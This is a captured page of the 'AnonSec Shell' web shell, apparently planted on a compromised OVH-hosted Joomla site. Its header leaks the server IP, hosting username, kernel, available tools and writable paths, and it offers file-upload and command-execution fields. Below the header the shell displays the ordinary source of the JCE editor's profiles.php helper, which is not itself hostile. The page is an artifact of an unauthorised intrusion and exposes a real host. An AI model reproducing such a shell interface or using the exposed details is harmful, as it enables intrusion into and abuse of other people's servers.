AnonSec Shell
Server IP : 46.105.57.169  /  Your IP : 216.73.217.8
Web Server : Apache
System : Linux webd003.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : maitricfuz ( 93378)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/maitricfuz/www/saint-martin-lg/administrator/components/com_jce/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/maitricfuz/www/saint-martin-lg/administrator/components/com_jce/helpers//profiles.php
<?php

/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2023 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2026 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
\defined('_JEXEC') or die;

use Joomla\CMS\Access\Access;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Filter\InputFilter;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Table\Table;
use Joomla\String\StringHelper;

abstract class JceProfilesHelper
{
    /**
     * Create the Profiles database table from the SQL schema file.
     *
     * @return bool True if the table was created successfully.
     */
    public static function createProfilesTable()
    {
        $app = Factory::getApplication();
        $db = Factory::getDBO();

        $driver = strtolower($db->name);

        switch ($driver) {
            case 'sqlsrv':
            case 'sqlazure':
            case 'sqlzure':
                $driver = 'sqlsrv';
                break;
            case 'postgresql':
            case 'pgsql':
                $driver = 'postgresql';
                break;
            default:
                $driver = 'mysql';
                break;
        }

        $file = JPATH_ADMINISTRATOR . '/components/com_jce/sql/' . $driver . '.sql';

        if (!is_file($file)) {
            $app->enqueueMessage(Text::_('WF_INSTALL_TABLE_PROFILES_ERROR') . ' - SQL FILE MISSING', 'error');
            return false;
        }

        $query = file_get_contents($file);

        if (!$query) {
            $app->enqueueMessage(Text::_('WF_INSTALL_TABLE_PROFILES_ERROR') . ' - NO SQL QUERY', 'error');
            return false;
        }

        $query = $db->replacePrefix((string) $query);
        $db->setQuery(trim($query));

        try {
            $db->execute();
        } catch (\RuntimeException $e) {
            $app->enqueueMessage(Text::_('WF_INSTALL_TABLE_PROFILES_ERROR') . ' - ' . $e->getMessage(), 'error');
            return false;
        }

        return true;
    }

    /**
     * Install default profiles for a new installation.
     * Creates the table if needed and imports profiles only if the table is empty.
     *
     * @return bool True on success, false on error or if profiles already exist.
     */
    public static function installProfiles()
    {
        if (!self::createProfilesTable()) {
            return false;
        }

        $db = Factory::getDBO();
        $query = $db->getQuery(true);
        $query->select('COUNT(id)')->from('#__wf_profiles');
        $db->setQuery($query);

        if ((int) $db->loadResult() > 0) {
            return false;
        }

        $app = Factory::getApplication();

        $xml = JPATH_ADMINISTRATOR . '/components/com_jce/models/profiles.xml';

        if (!is_file($xml)) {
            $app->enqueueMessage(Text::_('WF_INSTALL_PROFILES_NOFILE_ERROR'), 'error');
            return false;
        }

        if (!self::processImport($xml)) {
            $app->enqueueMessage(Text::_('WF_INSTALL_PROFILES_ERROR'), 'error');
            return false;
        }

        return true;
    }

    /**
     * Check whether the profiles table exists.
     *
     * @return bool
     */
    public static function checkTable()
    {
        $db = Factory::getDBO();

        $tables = $db->getTableList();

        if (!empty($tables)) {
            $tables = array_keys(array_change_key_case(array_flip($tables)));
            $app = Factory::getApplication();
            $match = str_replace('#__', strtolower($app->getCfg('dbprefix', '')), '#__wf_profiles');

            return in_array($match, $tables);
        }

        try {
            $query = $db->getQuery(true);
            $query->select('COUNT(id)')->from('#__wf_profiles');
            $db->setQuery($query);
            $db->execute();

            return true;
        } catch (\RuntimeException $e) {
            return false;
        }
    }

    /**
     * Get user groups with content creation permissions for the given area.
     *
     * @param int $area 0 = all, 1 = frontend only, 2 = backend only.
     *
     * @return array List of user group IDs.
     */
    public static function getUserGroups($area)
    {
        $db = Factory::getDBO();

        $query = $db->getQuery(true);
        $query->select('id')->from('#__usergroups');
        $db->setQuery($query);

        $groups = $db->loadColumn();

        $front = array();
        $back = array();

        foreach ($groups as $group) {
            if (Access::checkGroup($group, 'core.admin')) {
                $back[] = $group;
            } elseif (Access::checkGroup($group, 'core.create')) {
                if (Access::checkGroup($group, 'core.login.admin')) {
                    $back[] = $group;
                } else {
                    $front[] = $group;
                }
            }
        }

        switch ($area) {
            case 0:
                return array_merge($front, $back);
            case 1:
                return $front;
            case 2:
                return $back;
        }

        return array();
    }

    /**
     * Process and import profile data from an XML file.
     *
     * @param string $file Path to the XML file.
     *
     * @return int|false Number of profiles imported, or false on error.
     */
    public static function processImport($file)
    {
        $data = trim(file_get_contents($file));

        $data = preg_replace('#<params>{(.+?)}<\/params>#', '<params><![CDATA[{$1}]]></params>', $data);

        $prev = false;

        if (PHP_MAJOR_VERSION < 8) {
            $prev = libxml_disable_entity_loader(true);
        }

        libxml_use_internal_errors(true);
        $xml = simplexml_load_string($data);
        libxml_clear_errors();

        if (PHP_MAJOR_VERSION < 8) {
            libxml_disable_entity_loader($prev);
        }

        if (!$xml) {
            return 0;
        }

        $app = Factory::getApplication();
        $user = Factory::getUser();
        $date = Factory::getDate();

        Table::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_jce/tables');

        $language = Factory::getLanguage();
        $language->load('com_jce', JPATH_ADMINISTRATOR, null, true);

        $whitelist = (array) ComponentHelper::getParams('com_jce')->get('profile_groups_whitelist', []);
        $whitelist = array_filter(array_map('intval', $whitelist));

        $filter = InputFilter::getInstance();
        $allowedKeys = ['name', 'description', 'users', 'types', 'components', 'area', 'device', 'rows', 'plugins', 'published', 'ordering', 'params'];

        $n = 0;

        foreach ($xml->profiles->children() as $profile) {
            $table = Table::getInstance('Profiles', 'JceTable');

            foreach ($profile->children() as $item) {
                $key = $item->getName();

                if (!in_array($key, $allowedKeys, true)) {
                    continue;
                }

                $value = (string) $item;

                switch ($key) {
                    case 'name':
                        $value = $filter->clean($value, 'STRING');

                        if ($value) {
                            while ($table->load(array('name' => $value))) {
                                if ($value === $table->name) {
                                    $value = StringHelper::increment($value);
                                }
                            }
                        }
                        break;

                    case 'description':
                        $value = $filter->clean(Text::_($value), 'STRING');
                        break;

                    case 'types':
                        if ($value === '') {
                            $area = !empty($profile->area) ? (int) $profile->area[0] : 0;
                            $groups = self::getUserGroups($area);
                            $value = implode(',', array_unique($groups));
                        } else {
                            $value = implode(',', array_filter(array_map('intval', explode(',', $value))));
                        }

                        if (!empty($whitelist)) {
                            $filtered = !empty($value) ? array_intersect(explode(',', $value), $whitelist) : [];

                            if (!empty($filtered)) {
                                $value = implode(',', $filtered);
                            } elseif (empty((string) $profile->users)) {
                                $value = implode(',', $whitelist);
                            } else {
                                $value = '';
                            }
                        }
                        break;

                    case 'users':
                        if ($value !== '') {
                            $ids = array_filter(array_map('intval', explode(',', $value)));

                            if (!empty($ids)) {
                                $db = Factory::getDBO();
                                $query = $db->getQuery(true)
                                    ->select($db->quoteName('id'))
                                    ->from($db->quoteName('#__users'))
                                    ->where($db->quoteName('id') . ' IN (' . implode(',', $ids) . ')');
                                $db->setQuery($query);
                                $value = implode(',', array_map('intval', $db->loadColumn()));
                            } else {
                                $value = '';
                            }
                        }
                        break;

                    case 'area':
                        $value = $value === '' ? 0 : (int) $value;
                        break;

                    case 'components':
                        $value = $filter->clean($value, 'STRING');
                        break;

                    case 'params':
                        if (!empty($value)) {
                            $decoded = json_decode($value, true);

                            if (is_array($decoded)) {
                                array_walk($decoded, function (&$param, $key) {
                                    if (is_string($param) && WFUtility::isJson($param)) {
                                        $param = json_decode($param, true);
                                    }
                                });
                            }

                            $value = json_encode($decoded);
                        }

                        if (empty($value)) {
                            $value = "{}";
                        }
                        break;

                    case 'rows':
                        $value = preg_replace('#[^\w,;]+#', '', $value);
                        break;

                    case 'plugins':
                        $value = preg_replace('#[^\w_,]+#', '', $value);
                        break;

                    case 'published':
                        $value = 0;
                        break;

                    case 'ordering':
                        $value = (int) $value;
                        break;
                }

                $table->$key = $value;
            }

            $table->id = 0;
            $table->checked_out = $user->get('id');
            $table->checked_out_time = $date->toSQL();
            $table->created = $date->toSQL();
            $table->created_by = $user->get('id');
            $table->modified = $date->toSQL();
            $table->modified_by = $user->get('id');

            if (!$table->store()) {
                $app->enqueueMessage($table->getError(), 'error');
                return false;
            }

            $table->checkin();

            ++$n;
        }

        return $n;
    }

    /**
     * CDATA-encode a string if it contains XML-special characters and escape double quotes.
     *
     * @param string $data The string to encode.
     *
     * @return string The encoded string.
     */
    public static function encodeData($data)
    {
        if (preg_match('/[<>&]/', $data)) {
            $data = '<![CDATA[' . str_replace(']]>', ']]]]><![CDATA[>', $data) . ']]>';
        }

        $data = preg_replace('/"/', '\"', $data);

        return $data;
    }
}

Anon7 - 2022
AnonSec Team